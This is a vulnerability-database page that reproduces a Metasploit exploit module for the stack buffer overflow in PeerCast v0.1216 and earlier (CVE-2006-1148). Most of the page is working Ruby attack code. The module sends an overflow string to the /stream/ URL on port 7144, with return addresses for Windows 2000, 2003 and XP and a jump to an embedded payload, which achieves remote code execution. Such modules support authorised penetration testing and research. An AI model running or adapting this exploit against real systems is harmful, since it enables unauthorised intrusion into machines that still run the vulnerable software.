Search...

PeerCast URL Handling Buffer Overflow

2006-03-30T21:05:42
ID MSF:EXPLOIT/WINDOWS/HTTP/PEERCAST_URL
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a stack buffer overflow in PeerCast <= v0.1216. The vulnerability is caused due to a boundary error within the handling of URL parameters.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'PeerCast URL Handling Buffer Overflow',
      'Description'    =&gt; %q{
          This module exploits a stack buffer overflow in PeerCast &lt;= v0.1216.
        The vulnerability is caused due to a boundary error within the
        handling of URL parameters.
      },
      'Author'         =&gt; [ 'hdm' ],
      'License'        =&gt; MSF_LICENSE,
      'References'     =&gt;
        [
          ['CVE', '2006-1148'],
          ['OSVDB', '23777'],
          ['BID', '17040']
        ],
      'Privileged'     =&gt; false,
      'Payload'        =&gt;
        {
          'Space'    =&gt; 400,
          'BadChars' =&gt; "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
          'StackAdjustment' =&gt; -3500,
        },
      'Platform'       =&gt; 'win',
      'Targets'        =&gt;
        [
          ['Windows 2000 English SP0-SP4', { 'Ret' =&gt; 0x75023360 }],
          ['Windows 2003 English SP0-SP1', { 'Ret' =&gt; 0x77d099e3 }],
          ['Windows XP English SP0/SP1',   { 'Ret' =&gt; 0x77dbfa2c }],
          ['Windows XP English SP0/SP2',   { 'Ret' =&gt; 0x77dc12b8 }],
        ],
      'DisclosureDate' =&gt; 'Mar 8 2006'))

    register_options( [ Opt::RPORT(7144) ])
  end

  def exploit
    connect

    pat = rand_text_alphanumeric(1024)
    pat[768, 4] = [target.ret].pack('V')
    pat[812, 5] = [0xe9, -517].pack('CV')
    pat[300, payload.encoded.length] = payload.encoded

    uri = '/stream/?' + pat

    res = "GET #{uri} HTTP/1.0\r\n\r\n"

    print_status("Trying target address 0x%.8x..." % target.ret)
    sock.put(res)
    sock.close

    handler
    disconnect
  end
end
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2017
Protected by